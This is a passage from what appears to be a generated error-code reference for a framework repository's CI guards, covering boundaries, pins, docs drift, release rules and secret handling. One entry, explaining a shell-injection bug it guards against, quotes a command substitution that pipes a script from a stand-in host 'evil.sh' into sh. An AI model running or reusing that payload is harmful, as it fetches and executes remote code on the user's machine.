TOTP code fails for one request. An unkeyed hasher is plain hashing, unaffected, and never reported edit the file the finding names — import { hmac } from '@ultimat3/core' and write hmac('sha256', key, data, 'hex'), then bun run keyed-hasher --json X_KEYED_HASHER_EXEMPT_STALE a KEYED_HASHER_EXEMPT row excuses nothing the row in scripts/keyed-hasher.ts names a file that was not scanned, or one that no longer holds a keyed hasher — the Bun bug pin in packages/core/src/hmac.test.ts was deleted (Bun fixed it) or moved edit KEYED_HASHER_EXEMPT in scripts/keyed-hasher.ts to drop or rename the row, then bun run keyed-hasher --json X_INSTRUMENT_SLOT_FORBIDDEN a package exports a single observer slot instead of emitting on the instrumentation bus a file in packages/*/src exports set<X>Observer, set<X>Sink, set<X>Exporter or a recent<X>() ring-buffer reader. A slot holds one observer: a second install replaces the first, and one installed only by x dev is a signal production never sees edit the file the finding names — delete the slot, emit with instrument('<event>', payload) (the event declared in packages/core/src/instrument-events.ts) and have each consumer subscribe('<event>', handler); then bun run scripts/instrument-slots.ts --json X_INSTRUMENT_SLOT_ALLOWANCE_STALE an INSTRUMENT_SLOT_ALLOWED row excuses nothing the row in scripts/instrument-slots.ts names a file#name that no scanned file exports — the port was moved, renamed or deleted edit INSTRUMENT_SLOT_ALLOWED in scripts/instrument-slots.ts to drop or rename the row, then bun run scripts/instrument-slots.ts --json X_ADAPTER_PORT_INCOMPLETE an adapter port is missing part of its contract, or a backend is swapped outside one an ADAPTER_PORTS row (packages/core/src/registrar.ts) lacks its RuntimeOverrides field, its boot binding, its ./adapter export or installer, its @ultimat3/testing/conformance suite, or its wiki/Adapters.md section; or a package barrel exports a set*/configure*/install* installer; or a ./adapter subpath exports a port-shaped interface no row lists. A pin in scripts/lib/adapter-port-pins.ts that excuses nothing is the same finding bun run scripts/adapter-ports.ts --json, then make the edit each finding names in its own fix; for wiki/Adapters.md: bun run scripts/adapter-ports.ts --write X_CLI_OUTBOUND_UNDECLARED a non-test packages/cli/src file spells a host not on the allowlist x sends nothing anywhere, and a host literal nobody wrote a reason for is how telemetry or an update check arrives. Every scheme://host in a string literal is read (comments are not); names no machine answers for are exempt — .invalid, .test, .example, example.com/.net/.org, localhost, loopback delete the URL (an example takes app.example.com), or add a row with its why to CLI_OUTBOUND_ALLOWLIST in scripts/cli-outbound.ts, then bun run scripts/cli-outbound.ts --json X_CLI_OUTBOUND_ALLOWANCE_STALE an allowlist row names a host the CLI no longer spells a row in CLI_OUTBOUND_ALLOWLIST (scripts/cli-outbound.ts) excuses a host no non-test file in packages/cli/src mentions, so it would excuse the next one silently delete that row from CLI_OUTBOUND_ALLOWLIST in scripts/cli-outbound.ts, then bun run scripts/cli-outbound.ts --json X_PRIVATE_NAME a private name is in a tracked file a tracked line or path, or an untracked file git does not ignore, carries an entry of the ULTIMATE_PRIVATE_NAMES secret, read whole-token and case-blind (CHANGELOG.md, docs/changelog/, docs/history/ and docs/plans/ are records and not scanned). The finding names the file:line and the entry's 1-based index, never the name; a path that carries one is named by its git ls-files position. Unset, the guard says it skipped (with ULTIMATE_PRIVATE_NAMES_REQUIRED=1 it is X_PRIVATE_NAMES_UNSET instead) replace the name at the reported file:line with "one adopter" or an example.com fixture, keeping any figure, then bun run private-names --json X_PRIVATE_NAMES_UNSET the private-name secret is missing where the names are required ULTIMATE_PRIVATE_NAMES_REQUIRED=1 with ULTIMATE_PRIVATE_NAMES empty. ci.yml sets the flag beside the secret only on the gate part that runs boundaries on a push to main, so its absence there is a misconfiguration, and a guard that skipped would pass forever while scanning nothing. Every other run, a unit job or a fork's pull request included, skips gh secret set ULTIMATE_PRIVATE_NAMES (an admin, pasting the off-tree list, one name per line, at its prompt), then re-run the workflow X_GUARD_LOAD_FAILED a repository guard could not load its own imports, so it checked nothing a package in the guard's import graph is mid-edit or broken, and Bun refused to link it: Export named '…' not found or Cannot find module '…'. Reported by scripts/lib/guard-load.ts as a finding naming the module, instead of a bare SyntaxError, so it is never read as a clean run or a mystery crash. A guard's own failure is still thrown as it was edit the module the cause names until bun run typecheck is clean, then rerun the guard the cause names X_BUDGET_RAISE_UNSTATED a route's budget went up with no measured number and no reason beside it a budget.js literal in a page.tsx / route.ts is higher than the same route's at origin/main's tip, and the comment directly above the budget: line carries no measured: and why: — or carries the same comment origin/main had, which measured the old number, or a measured: above the new budget. Axiom 9 allows the raise; this is its same-diff half. A checkout without origin/main compares nothing, and its summary says so and prints the fetch add // measured: <N> B (bun run x -- build --json) — why: <the function it buys> directly above the budget line, or restore the old value. Then bun run budget-raises X_BUDGET_BASE_MISSING budget-raises had no origin/main to compare against, and fetching it failed a checkout with no origin/main — a tag checkout in release.yml, a fork's fresh clone — used to pass with "NO budget was compared" in the summary. It now fetches the one commit first, and refuses only when that fetch fails git fetch --no-tags --depth=1 origin +refs/heads/main:refs/remotes/origin/main, then bun run budget-raises X_PIN_RAISE_UNSTATED a ratchet pin in scripts/lib/*-pins.ts is higher than at origin/main's tip with no why: on the row a pin raised to make a guard green, in silence — secret-compare 53 → 63, node-import-pins 3 → 12, proto-index-pins 1 → 9 all happened with nothing on the row. budget-raises' rule for routes, applied to every pins table and to the ratchets kept inside scripts (DOC_COMMAND_PINS, README_FENCE_BACKLOG, each app's expectedRed); the why: must be one origin/main did not already have for that row, since the old sentence was written for the old number; a table new since the base is stated by a why: in its header add // why: <the reason these sites cannot be fixed yet> on the row or directly above it, or fix the new sites and lower the row back. Then bun run pin-raises X_PIN_BASE_MISSING pin-raises had no origin/main to compare against, and fetching it failed the same checkout X_BUDGET_BASE_MISSING names, for the pins tables git fetch --no-tags --depth=1 origin +refs/heads/main:refs/remotes/origin/main, then bun run pin-raises X_CORPUS_UNSCANNED a whole-tree guard read fewer files than its scope's floor, or could not read part of it, or scripts/lib/workspaces.ts enumerated no publishable workspace (registry-audit, release, list-workspaces) scripts/lib/corpus.ts reads each scope (source, packages, shipped, tests) once per process; this repository's floor is 1,000 files (500 for tests) and any other root must read at least one. An unreadable directory (EACCES) is refused whatever else was found — a guard over it would report a clean tree it never read bun install && bun run verify --only unit — the usual cause is an unreadable or half-checked-out tree X_DOC_UNRELEASED_STALE a current page calls a version "unreleased" that docs/changelog/ has dated — or, at a release commit or with [Unreleased] empty, says As of Unreleased, "not yet tagged", what the next major does, or carries a Known-Gaps `main` cell (scripts/doc-unreleased.ts) 33 lines written the day before a major shipped said it was not out yet, were false the day after, and nothing re-read them. changelog-check reads the nearest version within 40 characters of the word, on every page but docs/plans/ and the changelog; a ratchet in scripts/lib/unreleased-claim-pins.ts until the docs sweep lands edit the line the finding names — drop "unreleased", or name the version that is — then bun run changelog-check X_DOC_UNRELEASED_PIN_STALE a page is pinned above its stale "unreleased" lines the sweep fixed a line and the pin was not lowered, so it would let one back in set that page's row in scripts/lib/unreleased-claim-pins.ts to the measured count, or delete it at 0 X_LLMS_TXT_DRIFT llms.txt's generated package or wiki list differs from what it is generated from it said "generated from list-workspaces" and was hand-written, so @ultimat3/notify never appeared in it. The two lists sit between <!-- generated: … --> markers, built from listWorkspaces(), wiki/_Sidebar.md and wiki/Home.md's summaries; everything else in the file is prose bun run llms-txt --write X_GUARDS_DOC_DRIFT docs/architecture/guards.md differs from the guard headers it is generated from a guard was added, renamed, or its header's first sentence or its codes changed bun run scripts/guards-doc.ts --write X_BOUNDARY_VIOLATION a framework package imports one it may not under scripts/lib/tiers.ts — this repository's own tier rule, distinct from an app's X_BOUNDARY_* codes a sideways or upward import, an import outside a package's declared edges, a type-position import('…'), or a package missing from the tier table move the shared code down a tier or pass it in; for an edge-only package, add the target to SIDEWAYS_ALLOW with the line that earns it; an unknown package goes in the tier table. Then bun run boundaries X_DOC_PATH_DEAD a published page names, in backticks, a packages/…, scripts/… or docs/… path that exists neither in this repository nor in a tracked app a file was renamed or deleted and the page kept the old name (22.0.0's dev-* → runtime-* boot modules), or the page quoted a file that never existed. Placeholders, globs, build outputs, docs/plans/, docs/history/, CHANGELOG.md and any section opened by a **Historical:** label are not read bun run doc-paths --json, then edit the named line to the current path — or open the section with **Historical:** if the page records a tree that no longer exists X_ROOT_BIN_REINTRODUCED the repository root has a bin/ again (file, directory, or empty directory) a wrapper (bin/setup, bin/check, bin/dev) restating a package.json script, which then drifts from it git rm -r bin/, then use bun run setup / bun run verify / bun run x -- <args> X_VERIFY_PART_UNNAMED bun run scripts/verify-parts.ts found a gate-part document that names no run attempt, or none at all, in the verify job's download a part written as <part>.json cannot be told from an earlier attempt's copy of the same part, so a re-run would merge the red document it replaced write each part as "$parts/${PART}.attempt-${GITHUB_RUN_ATTEMPT}.json" in .github/workflows/ci.yml, uploaded as verify-part-<part>-attempt-<n> X_URL_PATHNAME_AS_PATH a source reads .pathname off a URL built from import.meta.url (or destructures it, or builds a file:// URL from a string) and uses it as a filesystem path new URL('..', import.meta.url).pathname percent-encodes a space (%20) and answers /C:/… on Windows, so the path names nothing Bun.fileURLToPath(new URL('<specifier>', import.meta.url)), or join(import.meta.dir, '<segment>') X_RELATIVE_PATH_NOT_POSIX a host relative() answer is used without toPosix on Windows relative() answers with \, which the result then writes into an import specifier, a fix line or a key — a x fix edit that breaks every Linux teammate wrap the call as toPosix(relative(…)), or use posixRelative(…) from packages/cli/src/posix-path.ts; a filesystem-only answer is marked // native-path: <why>. Then bun run posix-relative X_SET_COOKIE_HAND_BUILT a Set-Cookie attribute is spelled in a literal, or a Set-Cookie header is written by name, outside packages/core/src/cookie.ts and packages/http/src/set-cookie.ts a header built by hand ('Path=/; HttpOnly', `Max-Age=${s}`) — the bytes core's serializer would have refused or encoded go out as written, and two spellings of one header drift setCookie / deleteCookie from @ultimat3/http, or serializeSetCookie below http; then bun run set-cookie-literals --json X_SET_COOKIE_PIN_STALE a pin in SET_COOKIE_PINS is above what its file holds a hand-built cookie migrated without lowering its pin — the slack would admit the next one lower or delete the row in SET_COOKIE_PINS (scripts/set-cookie-literals.ts), then bun run set-cookie-literals --json X_SET_COOKIE_UNSCANNED the serializer's own module was not among the files scanned, so no verdict was reached the corpus globs moved, or COOKIE_SEAM names a path that no longer exists bun run set-cookie-literals --json # after pointing COOKIE_SEAM in scripts/set-cookie-literals.ts at core's cookie module X_FACTORY_NAME_SPELLING a public package entry exports a retired factory spelling create(Memory|Pg|Postgres)X / pgX is memoryX / postgresX since 25.0.0 — one spelling per factory, so an agent never has to pick between two names for the same thing bun run scripts/factory-names.ts --json # then rename the export as the finding names X_CORE_THROWER_UNCALLED a @ultimat3/core export that throws a coded error has no non-test caller a refusal nobody receives — assertEnvExample was one, deleted in 25.0.0; it reads as protection and protects nothing bun run scripts/declaration-readers-callers.ts --json # after deleting it, calling it, or pinning it as app-facing API with its caller X_CORE_THROWER_PIN_STALE a pinned uncalled core thrower now has a caller or no longer exists the slack would admit the next uncalled thrower beside it bun run scripts/declaration-readers-callers.ts --json # after deleting its CORE_THROWER_PINS row X_CORE_THROWERS_UNSCANNED the core-thrower rule read no file a clean run over nothing proves nothing bun run scripts/declaration-readers-callers.ts --json # from the repo root X_SQL_EXPORT_UNREAD a package entry exports a SQL_* statement nothing outside the package reads a statement's exact text becomes public API kept for nobody, and every edit to it is a breaking change bun run sql-export-readers --json # after deleting the export; the module that runs it keeps its own X_SQL_EXPORT_UNSCANNED the SQL-export rule read no package entry file every SQL_* export would read as used bun install && bun run sql-export-readers --json X_WIKI_EXAMPLE_UNCOMPILED a fenced ts/tsx example on a wiki page does not typecheck, beyond its page's pin a wiki example is the code an agent pastes; one that no longer compiles teaches a call this build refuses bun run scripts/wiki-fences.ts --json # then fix the fence it names, or pin the page in scripts/wiki-fences-backlog.ts on purpose X_WIKI_EXAMPLE_PIN_STALE a page's wiki-fence pin is above what fails on it now the slack would admit the next broken example unseen bun run scripts/wiki-fences.ts --pin # lowers each page's pin to what fails now X_WIKI_EXAMPLE_UNSCANNED no wiki fence was read, or tsc refused to run a clean run over nothing proves nothing bun run scripts/wiki-fences.ts --json X_WIKI_ANCHOR_DEAD a Page#anchor link lands on no heading, or on a page that does not exist a heading renamed under a cross-link sends the reader to the top of the page bun run scripts/wiki-anchors.ts --json # then edit the link at the line it names to the slug it suggests X_WIKI_ANCHOR_UNSCANNED no wiki anchor link was read a clean run over nothing proves nothing bun run scripts/wiki-anchors.ts --json X_WIKI_TABLE_UNSCANNED no wiki table was read a clean run over nothing proves nothing bun run scripts/wiki-tables.ts --json X_KNOWN_GAP_LINK_MALFORMED a Known-Gaps [B<n>] link does not resolve to its backlog row, or the line names no issue or the wrong one a gap whose pointer is dead is a gap nobody can find the record of bun run scripts/known-gaps-links.ts --json # then edit the line it names X_KNOWN_GAP_UNSCANNED wiki/Known-Gaps.md is missing or cites no [B<n>] row a clean run over nothing proves nothing bun run scripts/known-gaps-links.ts --json X_KNOWN_GAP_UNPINNED an Open row of wiki/Known-Gaps.md links no test asserting today's behaviour, or a dead one a gap nothing ties to the code stays on the page after the code closes it: 15 of 25 rows checked on 2026-11-02 were false add [pin](https://github.com/developerz-ai/ultimate/blob/main/<test file>#<test title>) to the row, or state pin: none and why, then bun run scripts/known-gaps-pins.ts --json X_KNOWN_GAP_PIN_STALE scripts/lib/known-gaps-unpinned-pins.ts lists a row that is pinned now, closed or renamed the baseline only falls, and an entry nobody deleted would admit a new unpinned row under the same name delete the entry from KNOWN_GAPS_UNPINNED in scripts/lib/known-gaps-unpinned-pins.ts, then bun run scripts/known-gaps-pins.ts --json X_DOC_TUTORIAL_DIVERGED a tutorial's command, run on a scaffold of this checkout, exits otherwise than the page shows or prints no line matching its ✓/✗ summary a template, generator or gate step moved and the page kept the output it had; nobody re-ran the pages bun run scripts/tutorial-run.ts --json, then edit the page's fence and the text fence below it to what printed, or fix the generator that printed it X_DOC_UID_STALE docs/ops states a uid the image it names does not run an operator writes a securityContext from the page and the pod cannot write its own state bun run scripts/ops-uid-docs.ts --json # then edit the line it names to RUNTIME_UID or the chart's runAsUser X_DOC_UID_UNSCANNED no chart runAsUser was read, or no uid was attributed to one of the two images a clean run over nothing proves nothing bun run scripts/ops-uid-docs.ts --json X_DOC_BOUNDARY_RULES_STALE docs/architecture/02-boundaries.md states a rule count or codes that differ from BOUNDARY_CODES the page an agent reads to learn the boundary rules lists a different set than the build enforces bun run scripts/boundary-rule-docs.ts --json # then edit the count or the table to BOUNDARY_CODES X_DOC_BOUNDARY_RULES_UNSCANNED the boundary-rules section, its count sentence or its table is missing a clean run over nothing proves nothing bun run scripts/boundary-rule-docs.ts --json X_PLAN_STATUS_INVALID a docs/plans/**/status.yml does not parse, or its status or a slice's status is not not_started | in_progress | blocked | complete | superseded done or finished written by hand, a missing field, broken YAML edit the named status.yml to a template value, then bun run plan-status --json X_PLAN_STATUS_UNSCANNED no docs/plans/**/status.yml was found, so no tracker was checked run from outside the repository root, or the plans moved bun run scripts/plan-status.ts --json from the repository root X_GUARDS_DOC_UNSCANNED the generator found no runnable scripts/*.ts that emits a code run from outside the repository root, or scripts/ unreadable — never read as an empty, passing page bun run scripts/guards-doc.ts --check --json from the repository root X_CLAUDE_MD_OVERSIZE a CLAUDE.md is over its byte ceiling: 16 KB for the root, 24 KB for a package, or a package file's pin in scripts/lib/claude-md-size-pins.ts history or narrative written into a file every session loads whole; a pinned file may shrink, never grow move the narrative into docs/history/ and link it — never raise a pin X_CLAUDE_MD_UNSCANNED there is no root CLAUDE.md, or no packages/*/CLAUDE.md was found run from outside the repository root — never read as every file within its ceiling bun run scripts/claude-md-size.ts --json from the repository root X_NEW_ERROR_CODE_INVALID bun run new-error-code was called without what it needs, or for a package with no errors.ts a code, --package, --title, --cause and --fix are all required, because the registration needs the title and the wiki row needs the cause and the fix — and a --cause that repeats --title is refused. Or packages/<pkg>/src/errors.ts does not exist bun run scripts/new-error-code.ts X_PKG_WHAT_FAILED --package <pkg> --title '<one line>' --cause '<what usually makes it happen>' --fix '<command or edit>'. For an unknown package, bun run workspaces:list lists the directories X_NEW_ERROR_CODE_EXISTS the code is already registered or already documented a package's errors.ts already names it, or wiki/Error-Codes.md already has its row. A code is registered once, and a shipped code never changes meaning x errors explain <CODE> --json, then pick a new code, or edit the existing registration or row X_NEW_ERROR_CODE_PATTERN_UNKNOWN the package's errors.ts has no shape new-error-code can add to no …TITLES object, no literal registerErrorCodes({ … }) and no frozen …ERROR_CODES declarations, so adding the code would mean guessing. Both edits are planned before either is written, so the refusal leaves both files as they were register the code by hand in the package's errors.ts, and add its row to wiki/Error-Codes.md in the same change X_FRAMEWORK_TABLE_UNAPPLIED a package declares a framework table in a create table and no boot path creates it packages/auth/src/tables.ts declared x_users, x_sessions, x_accounts, x_verifications and x_api_keys and nothing applied them, in dev or in production, from the initial commit through all 21 released versions — they are not entity() declarations so x db gen never saw them, and the file exported the DDL for an app to paste into a migration that no app wrote. examples/dummy/CLAUDE.md recorded the symptom (nobody could hold a session) without anyone reaching the cause. The same shape as jobs.driver: a declaration nothing reads bun run framework-tables --json — each finding names the table, the file:line that declares it and the FRAMEWORK_SCHEMA row to add X_FIX_SHELL_ARG_UNSCREENED a value is spliced into the SHELL COMMAND POSITION of a fix: line without being screened a fix: is a command meant to be pasted, so a substitution after a command word is a value that RUNS: x g route /$(curl -s http://evil.sh|sh) was the rendered fix for an unauthenticated GET against any unrouted path. renderFixShellArg was written to close that one site and nothing watched the other 150. renderFixLiteral beside it is explicitly NOT the answer — it answers JSON.stringify, and $(…), a backtick and a substitution are all live inside double quotes in every POSIX shell bun run fix-shell-arg --json — wrap the value in renderFixShellArg(value, '<what a reader substitutes>') from @ultimat3/core; if it cannot carry shell syntax, pin the package in scripts/lib/fix-shell-arg-pins.ts with the sentence saying where the value comes from X_FIX_SHELL_ARG_PIN_STALE a package is pinned above the number of unscreened fix: substitutions it still has the pin outlived the repair, so it would let that many back in bun run scripts/fix-shell-arg.ts --unpin <package> — it only lowers X_FIX_SHELL_ARG_PIN_UNEXPLAINED a package is pinned with a blank reason a count with no sentence is the waiver axiom 3 refuses: every row is a claim that the value cannot carry shell syntax, and only a human can say which. The count is not honoured either, so the sites are reported behind it write where each remaining value comes from in scripts/lib/fix-shell-arg-pins.ts, or wrap them and run bun run scripts/fix-shell-arg.ts --unpin <package> X_SPAWN_UNTIMED a package spawns more child processes with no timeout than it is pinned at a Bun.spawnSync/spawnSync/execSync anywhere, or a Bun.spawn in shipped source, carries no timeout and no abort signal. A child that hangs hangs whatever waits on it, and a synchronous wait cannot be interrupted even by a test's own timeout — the gate sat on one bun run scripts/spawn-timeout.ts --explain --json — it lists the sites; add a timeout to each call's options, or raise the package in scripts/lib/spawn-timeout-pins.ts with a why: naming who ends the child X_SPAWN_TIMEOUT_PIN_STALE a package is pinned above the number of untimed spawns it still has the pin outlived the repair, so it would let that many back in bun run scripts/spawn-timeout.ts --unpin <package> — it only lowers X_SPAWN_TIMEOUT_PIN_UNEXPLAINED a package's untimed-spawn pin has a blank reason a count with no sentence names nobody who ends the child; the count is not honoured, so the sites are reported behind it write who ends each child in scripts/lib/spawn-timeout-pins.ts, or add a timeout to each and run bun run scripts/spawn-timeout.ts --unpin <package> X_SPAWN_TIMED_OUT a command a gate script ran did not finish within its deadline and was killed run() in scripts/lib/run.ts races the whole call, the child's pipes included, against timeoutMs (default DEFAULT_RUN_TIMEOUT_MS, 2 minutes). Either the command hung, or it exited and left a process holding its output open — git's background maintenance, a pager, a credential helper — and a reader waiting for EOF waits as long as that process lives. Reported in the run's result (timedOut: true), never thrown: the caller decides what an unanswered command means run(command, { cwd, timeoutMs: LONG_RUN_TIMEOUT_MS }) in the calling script, when the command legitimately runs longer; when it hung, ps -eo pid,ppid,etime,args shows what still holds its output X_FETCH_UNBOUNDED a package makes more shipped fetch( calls with no signal than it is pinned at a bare or globalThis. fetch( in shipped source carries no signal in its own options, so the call outlives the request, job or drain that made it. Options passed as a variable read as unsignalled: the rule reads the property name, never its value bun run scripts/fetch-deadline.ts --explain --json — it lists the sites; move each to outbound() from @ultimat3/core/outbound, or raise the package in scripts/lib/fetch-deadline-pins.ts with a why: naming what ends the call X_FETCH_DEADLINE_PIN_STALE a package's unsignalled-fetch pin is above what the tree holds the pin would let the difference back in unnoticed bun run scripts/fetch-deadline.ts --unpin <package> X_FETCH_DEADLINE_PIN_UNEXPLAINED a package's unsignalled-fetch pin has a blank reason a count with no sentence names nothing that ends the call; the count is not honoured, so the sites are reported behind it write what ends each call in scripts/lib/fetch-deadline-pins.ts, or move each to outbound() and run bun run scripts/fetch-deadline.ts --unpin <package> X_FIX_SHELL_ARG_UNSCANNED the rule read no source file the same zero-file glob condition as X_INDEX_ORDER_UNSCANNED: every package reports zero and the ratchet enforces nothing edit SOURCE_PATTERNS in scripts/boundaries.ts, then bun run fix-shell-arg X_FIX_PROSE a package holds more fix: lines that open with prose than its pin allows a fix is pasted from its first character, so one opening with a sentence (set pwa.offline.fallback in app.config.ts to …) is an instruction the reader translates first. fix-prose reads the same fix lines as the errors step and counts the ones that open with neither a command (x, bun, git, bin/…, NAME=value …) nor a code shape (a call, a declaration, an object literal, key: value, SQL), nor an edit at a file and line (edit <path>.<ext>:<line> — <instruction>). The repair: open the line with the command or the code to paste, and move the sentence into its cause bun run scripts/fix-prose.ts --explain --json X_FIX_PROSE_PIN_STALE a package is pinned above the number of prose fix: lines it holds a prose fix was rewritten and the pin did not follow it down, so it would let one back in bun run scripts/fix-prose.ts --unpin <pkg> X_FIX_PROSE_PIN_UNEXPLAINED a FIX_PROSE_PINS row carries a blank reason a { count, reason } row with an empty reason holds nothing, and its count is not honoured — rewrite those lines, or write the reason into the row in scripts/lib/fix-prose-pins.ts bun run scripts/fix-prose.ts --explain --json X_FIX_PROSE_UNSCANNED fix-prose read no fix: line at all the source globs matched nothing, which reads exactly like a tree with no prose fix in it bun run scripts/fix-prose.ts --explain --json X_VOCABULARY_REDECLARED a closed set of string literals is declared a second time RENDER_MODES / OFFLINE_STRATEGIES / HYDRATE_STRATEGIES and the four other vocabularies are declared once. Matched on the literal SET, never the name — the copy that did the damage was called PwaRenderMode. This refusal carried NO code at all until 2026-09-06: scripts/render-modes.ts declared a local Finding without one bun run render-modes --json — delete the second declaration and import the vocabulary from the module that owns it X_VOCABULARY_UNSCANNED the vocabulary rule read nothing, or the owning module declares nothing it can read a scanner that walked no file reports "no copies", which is what a clean repo reports bun run render-modes from the repo root; if the owning module was refactored, point VOCABULARY_MODULE at the file that declares the set X_FROZEN_RECORD_INFERRED const X: Readonly<Record<K, V>> = Object.freeze({…}) lets the type argument be INFERRED the annotation claims a closed key set and the freeze infers T from the literal, so an EXTRA key compiles in silence. Object.freeze<Record<K, V>>({…}) is the one form. This refusal carried no code until 2026-09-06 bun run frozen-records --json — write the type argument out and drop the annotation X_FROZEN_RECORD_UNSCANNED the freeze rule found no Object.freeze at all, or no correct form to recognise a scan that matched nothing answers exactly what a clean tree answers bun run frozen-records from the repo root X_CONFIG_READER_PIN_UNEXPLAINED an AppConfig leaf key is pinned with a blank reason Object.hasOwn asked whether a row EXISTS and never whether it said anything, so a key pinned with an empty string silenced the rule outright — the waiver axiom 3 refuses. Both tables in the file are guarded, CONFIG_READER_PINS and CONFIG_AMBIGUOUS_PINS write who reads the key — a file under packages/, or a surface outside this repo — in scripts/lib/config-reader-pins.ts; or delete the key from packages/core/src/config.ts and from defaults() X_CONFIG_READER_APP_UNREAD a CONFIG_READER_PINS row says app code reads a key and neither tracked app does the pin's sentence names app code as the reader, and no file of examples/dummy or dummy/social-media-clone reads the key outside app.config.ts, where it is only written — defaultTimeZone and defaultCurrency were pinned that way with no reader anywhere. The repair: delete the key from AppConfig and defaults(), read it from an app module, or rewrite its row so it names no app reader bun run scripts/config-readers.ts --json X_SECRET_COMPARE_PIN_UNEXPLAINED a comparison site is pinned with a blank reason on the secret-comparison ratchet the pins file's own header says a count with no sentence is a waiver, and nothing read reason until 2026-09-06 — a count of twelve with an empty reason held twelve comparisons on nothing write what each remaining value actually is — a search token, a job state, a route path — in scripts/lib/secret-compare-pins.ts, or use timingSafeEqual and run bun run scripts/secret-compare.ts --unpin <path> (pins are per site, <path>: <comparison>, so a pinned false positive cannot be swapped for a real one) X_PROTO_CHAIN_INDEX_PIN_UNEXPLAINED a package is pinned with a blank reason on the prototype-index ratchet same shape as the two rows above: the count was answered without ever reading the sentence that justifies it write what the package's tables are keyed by, and why that key cannot be constructor, in scripts/lib/proto-index-pins.ts — or guard the reads with Object.hasOwn and run bun run scripts/proto-index.ts --unpin <package> X_FRAMEWORK_TABLE_UNSCANNED the framework-table rule read nothing — no create table in packages/*/src, or a FRAMEWORK_SCHEMA that names no table a scan that finds nothing reports "every table applied", which is the answer a correct tree gives. Both directions fail loudly instead, because this rule's whole subject is a check that was never performed bun run framework-tables --json X_DOC_PACKAGE_GRAPH_UNSCANNED the package map draws no graph this rule can read the ```mermaid fence was renamed, the graph was deleted, or a line uses a mermaid link operator other than a --> b. Reported rather than skipped: a graph nobody could parse answers exactly what a correct graph answers bun run package-map-graph --json — it names the line it could not read, or the fence it could not find X_LOCKFILE_STALE bun.lock records an @ultimat3/* range that the package.json it was generated from no longer declares a lockstep bump. bun install refreshes a workspace block only when that workspace's own manifest changed, and --frozen-lockfile accepts every stale one because a workspace edge resolves by name — the range is never read back. 90 entries sat at 1.2.0 and 2.0.0 against manifests that all said 3.0.0 bun run scripts/lockfile-pins.ts --write, then bun install --frozen-lockfile to confirm. Not rm bun.lock && bun install, which also drags every external dependency to its newest match — measured once as Biome 2.5.5 → 2.5.9 and @types/node 26.1.1 → 26.2.0 X_RELEASE_FLAG_UNKNOWN scripts/release.ts was passed a flag it does not declare a typo or an invented flag. It declares --version, --bump, --check, --dry-run and --json and nothing else, and refuses before anything is decided — the mistake this guard exists for rewrote 47 manifests bun run scripts/release.ts --bump patch --dry-run --json; the cause lists every flag the script knows X_RELEASE_VERSION_UNSTATED a release was asked for and neither --version nor --bump was given the absent case is a refusal, not a patch bump. It used to default to patch, so a typo'd flag name still produced a release of some version bun run scripts/release.ts --bump patch --dry-run --json, or --version <x.y.z> — the cause names the version this repo is currently at X_RELEASE_TREE_DIRTY scripts/release.ts was run over a working tree with uncommitted changes the release rewrites 47 files and is committed as one; over a dirty tree that commit carries whatever else was in flight, as part of a release nobody reviewed as one. Checked under --dry-run too, so a dry run predicts the real one. A git status --porcelain that could not run is the same refusal, never a pass git stash -u && bun run scripts/release.ts --bump patch --dry-run --json — the fix line repeats your own flags; the cause lists the dirty paths X_RELEASE_BRANCH_NAME scripts/release.ts was run on a release/* branch that is not a release/<major>.x maintenance line release/* is the maintenance lines' namespace, and ci.yml and release-tag.yml run on release/[0-9]+.x. The 31.1.0 bump branch was release/31.1.0: CI ran on its push and v31.1.0 was tagged on the PR head, off main's history (#1054). Checked under --dry-run too; a detached HEAD names no branch and is never refused. A bump PR's branch is chore/release-<version> git switch -c chore/release-<version> — the fix line names the version being bumped to; then rerun the bump there X_RELEASE_VERSION_INVALID scripts/release.ts was asked for a version that does not move forward, or for two at once --version at or below the version this repo is already at — npm holds it, or one above it, so the publish dies E403 after the tag and the Release exist — or --version and --bump together, where --bump used to be dropped without a word bun run scripts/release.ts --bump patch --dry-run --json (or --bump minor, --bump major); the cause names the current and the requested version X_RELEASE_MAJOR_WINDOW scripts/release.ts was asked for a major inside the 90-day window, or a released major's section is dated inside it from v30, at most one major per 90 days (Stability): the previous major's ## X.0.0 - YYYY-MM-DD heading is under 90 days before this one, and no --security advisory was given; release.ts --check and the gate read the same headings, so a bump PR cannot merge around the bump bun run scripts/release.ts --bump major --security GHSA-xxxx-xxxx-xxxx --dry-run --json — only for a security fix that cannot be non-breaking; otherwise the break waits on the next branch until the date the cause names X_BREAKING_ON_MAIN a change to main c